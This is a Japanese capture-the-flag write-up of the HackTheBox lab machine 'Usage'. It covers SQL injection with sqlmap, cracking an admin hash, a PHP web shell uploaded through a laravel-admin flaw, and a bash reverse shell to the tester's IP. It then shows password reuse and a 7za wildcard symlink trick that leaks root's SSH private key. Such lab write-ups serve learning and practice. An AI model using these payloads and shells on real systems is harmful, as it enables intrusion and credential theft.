今回はHackTheBoxのEasyマシン「Usage」のWriteUpです!
名前からは特にマシンの色が見えませんね。楽しみです。
グラフは普通のEasyという感じですね。
評価が3点台なので少し癖が強そうな気もしますが、攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Usage
列挙
それでは攻略を始めましょう!
まずはnmap
から実行していきます。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.18
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
22番と80番がオープンしています。
ブラウザからWEBにアクセスしてみましょう。
ログイン画面が表示されました。簡単にSQLインジェクションを試しましたが、発火しそうにありません。
画面右上を見ると、「Register」というリンクがあるので押下します。
ユーザを追加することができそうです。試しに登録し、ログインしてみましょう。
ログインに成功しましたが、ブログが表示されるだけで特に気になるものはありません。目で見える遷移もなさそうです。
再度ログアウトし、画面右上の「Admin」を押下してみました。
管理者ログイン画面が表示されました。こちらも簡単にSQLインジェクションを試しましたが、発火しませんでした。
SQL Injection
確認した箇所すべてで特に情報が落ちず、何もすることがないような...と手が止まりかけていましたが、一番最初のログイン画面でパスワードリセット画面への遷移リンクがあることを思い出しました。
試しに押下してみましょう。
よく見るパスワードリセット画面が表示されました。あまりこの画面で脆弱性が発火することはない気がしますが、とりあえず適当な値を入力してみます。
適当な値(email@email.com
)を入力すると、「メールアドレスは記録と一致しない」というメッセージが出力されました。このメッセージが示すのは入力値がデータベースと参照されていることです。つまりSQLインジェクションが発火する可能性があるため、シングルクォート('
)を付与し、再度リクエストを送信します。
500番エラーになりました!SQLインジェクションに脆弱であることがわかったので、リクエストをテキストファイルに保存し、sqlmap
を実行しましょう。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3
___
__H__
___ ___[(]_____ ___ ___ {1.8.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=O1oHieHOFlwgRHkSkE5qyXcsAcVDXvUii9ivZUJq&email=' AND 5560=(SELECT (CASE WHEN (5560=5560) THEN 5560 ELSE (SELECT 1116 UNION SELECT 2157) END))-- vIPu
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: _token=O1oHieHOFlwgRHkSkE5qyXcsAcVDXvUii9ivZUJq&email=' AND 4791=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- fcnU
---
うまくSQLインジェクションを検出できました!続いてデータベースを列挙します。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3
___
__H__
___ ___[(]_____ ___ ___ {1.8.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
---
データベースを列挙し、今回のオリジナルであるusage_blog
というデータベースを発見しました。テーブルを列挙しましょう。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3 -D usage_blog --tables
___
__H__
___ ___[,]_____ ___ ___ {1.8.4#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
---
テーブルを列挙できました。この中で特に気になるのはadmin_users
です。
テーブルをダンプしましょう。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ sqlmap -r request.txt --batch --level 5 --risk 3 -D usage_blog -T admin_users --dump
___
__H__
___ ___[,]_____ ___ ___ {1.8.4#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2024-08-18 00:08:39 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
---
管理者のハッシュ化されたパスワードが取得できました。john
で解読できるか試してみましょう。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1 (?)
1g 0:00:00:07 DONE (2024-08-18 06:15) 0.1254g/s 203.2p/s 203.2c/s 203.2C/s maggie1..serena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワードが解読できました。パスワードを取得できたので、管理者ログインページでログインしましょう。
ログインに成功しました!
CVE-2023-24249
ログイン後のダッシュボードには、PHPのバージョンやLaravelのバージョンなど様々な情報が表示されています。少し下に移動すると、各ソフトウェアのバージョンもありました。
それぞれのバージョンで脆弱性が存在しないか調査していると、以下のページを発見しました。
どうやらlaravel-admin
のバージョン1.8.19
以下には、ファイルアップロードの脆弱性があり、WEBシェルをアップロードすることで、RCEが発火するようです。今回使用されているバージョンは1.8.18
であるため、この脆弱性が存在します。実際に攻撃していきましょう。
まず右上のAdministratorのアイコンを押下し、「Setting」を押下します。
ユーザの設定画面が表示されます。脆弱性は画像を設定するアバターの部分で発火します。
では、WEBシェルとなるPHPファイルを用意しましょう。コードは以下です。
<?php system($_GET['cmd']); ?>
いつものやつですね。では脆弱性を悪用しアップロードしていきましょう。
まず用意したPHPコードをshell.jpg
として保存しておき、「Browse」を押下して選択します。
選択できたら、「Submit」でアップロードしますが、アップロードする際に拡張子を.php
へ変更させるためBurp Suite
などのプロキシを使用してリクエストを捕捉してください。
変更できたら、「Foward」を押下しリクエストを送信します。
アップロードに成功しました!
あとはこのファイルにアクセスし、コードを実行するだけです。アップロード先は/uploads/images/
です。パラメータとして?cmd=id
を付与し、アクセスすると...
id
コマンドが実行されました!
dash としてのシェル
それではシェルを取得しましょう。まずは待ち受けを開始します。
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
後はコマンドを実行するだけです。実行するコマンドは以下です。
bash -c 'bash -i >& /dev/tcp/10.10.14.2/2121 0>&1'
上記のコマンドをURLエンコードし、cmd
パラメータの値として指定します。
WEB上では特に変化ないですが、待ち受けを確認すると...
+[~/usage]
(σ▰>∇<)σ<10.10.14.2>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.18] 39278
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
dash@usage:/var/www/html/project_admin/public/uploads/images$ id
uid=1000(dash) gid=1000(dash) groups=1000(dash)
侵入に成功しました!
dash@usage:~$ ls -l
total 4
-rw-r----- 1 root dash 33 Aug 17 22:50 user.txt
ユーザフラグも取得できました。
水平権限昇格
それではここから権限昇格を目指していきましょう。と思いましたが、home
ディレクトリを確認すると...
dash@usage:/home$ ls -l
total 8
drwxr-x--- 6 dash dash 4096 Aug 18 00:15 dash
drwxr-x--- 4 xander xander 4096 Apr 2 20:25 xander
xander
というユーザが存在しています。移動が必要そうな気がするので、xander
の認証情報等を取得できないか列挙していきます。
まずはdash
ユーザのホームディレクトリを見てみましょう。
dash@usage:~$ ls -la
total 52
drwxr-x--- 6 dash dash 4096 Aug 18 10:15 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 6 Aug 18 10:15 .monit.pid
-rwx------ 1 dash dash 707 Oct 26 2023 .monitrc
-rw------- 1 dash dash 1192 Aug 18 10:15 .monit.state
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Aug 17 22:50 user.txt
ユーザフラグのほかに、隠しファイルがいくつかあります。xander
ユーザへつながる情報がないか確認していると...
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
if cpu > 80% for 2 cycles then alert
#System Monitoring
check system usage
if memory usage > 80% for 2 cycles then alert
if cpu usage (user) > 70% for 2 cycles then alert
if cpu usage (system) > 30% then alert
if cpu usage (wait) > 20% then alert
if loadavg (1min) > 6 for 2 cycles then alert
if loadavg (5min) > 4 for 2 cycles then alert
if swap usage > 5% then alert
check filesystem rootfs with path /
if space usage > 80% then alert
.monitrc
にパスワードが記載されていました。
xander としてのシェル
パスワードを取得したので、xander
のログインで使用できないか試してみましょう。
dash@usage:~$ su xander
Password:
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
パスワードを使用することができました!移動成功です。
垂直権限昇格
それではここからroot
を目指していきましょう。
まずはいつものsudo -l
を実行します。
xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
どうやらusage_management
がパスワードなしで実行できるようです。
とりあえず実行してみましょう。
xander@usage:~$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3):
実行すると、3つのオプションが表示されました。
はじめに「1. Project Backup」を選択してみます。
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Scanning the drive:
2984 folders, 17972 files, 114778695 bytes (110 MiB)
Creating archive: /var/backups/project.zip
Items to compress: 20956
Files read from disk: 17972
Archive size: 54871391 bytes (53 MiB)
Everything is Ok
選択後、project.zip
というZIPファイルが作成されています。名前の通り、バックアップを作成するようですね。
次に「2. Backup MySQL data」を選択します。
Enter your choice (1/2/3): 2
xander@usage:~$
特に出力がないまま終了してしまいました。名前からして、MySQLのバックアップを作成しているような気がしますが、とりあえず「3. Reset admin password」にいきましょう。
Enter your choice (1/2/3): 3
Password has been reset.
パスワードがリセットされたというメッセージが表示されました。が情報が少なすぎるので、strings
コマンドを実行してみます。
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
...
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
...
実行をイメージするには十分な情報が出力されました。みたところ、オプション1
を選択した場合、/var/www/html
配下に対して7za
を実行しているようです。また、オプション2
を指定した時は、mysqldump
が実行されています。オプション3
に関しては、文字列を出力しているだけのような気もします。
7z Exploit
使用されているコマンドがわかったので、権限昇格につながる恐れがないか調べると以下の記事を発見しました。
どうやら、7za
でワイルドカード(*
)が使用されている場合、シンボリックリンクを使用してroot.txt
などのファイルを読み取り可能になります。
例えばroot.txt
を読み取りたい場合、@test
というファイルとroot.txt
へのシンボリックリンクであるtest
というファイルを作成することで、7za
実行時にエラー文からroot.txt
の内容を読み取ることが可能です。エラーが発生する理由は@test
がtest
の内容を読み取る役割をすることで、7za
がtest
の内容(実際はroot.txt
の内容)でファイルを探索し、そのファイルが存在しないことから、エラーメッセージに「 【root.txt
の内容】というファイルは存在しません」というエラーを出力します。
今回はroot
のSSH秘密鍵の取得を試みます。
まず、/var/www/html
配下に@test
を作成します。
xander@usage:/var/www/html$ touch @test
次に、root
の秘密鍵のシンボリックリンクをtest
という名前で作成します。
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa test
ここまでできれば準備完了です!/usr/bin/usage_management
を実行しましょう。
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54871391
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
2984 folders, 17973 files, 114779094 bytes (110 MiB)
SSH秘密鍵の内容が出力されました!
root としてのシェル
それでは、出力されたSSH秘密鍵を使用して権限昇格しましょう。
+[~/usage]
(σ▰>∇<)σ<10.10.14.5>$ ssh -i id_rsa root@10.10.11.18
root@usage:~# whoami
root
権限昇格成功です〜!
root@usage:~# ls -l
total 16
-rwxr-xr-x 1 root root 307 Apr 3 13:24 cleanup.sh
-rw-r----- 1 root root 33 Aug 28 12:15 root.txt
drwx------ 3 root root 4096 Aug 6 2023 snap
-rw-r--r-- 1 root root 1444 Oct 28 2023 usage_management.c
ルートフラグも取得し、無事完全攻略達成です〜!
攻略を終えて
今回のマシンも攻略していて楽しいマシンでした。権限昇格の道のりまでは少し長かったようにも感じますが、SQLインジェクションやファイルアップロードによるRCEは素直に発火したので、初心者にもやさしいマシンかなと思いました。権限昇格は7zaでワイルドカードが使用されていることを悪用しましたが、初めて見るものだったので「こんな形で情報漏洩につながるのか」と驚きました。楽しみながら新しい知識も得ることができたので、なぜ評価が低かったのか謎ですね笑
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!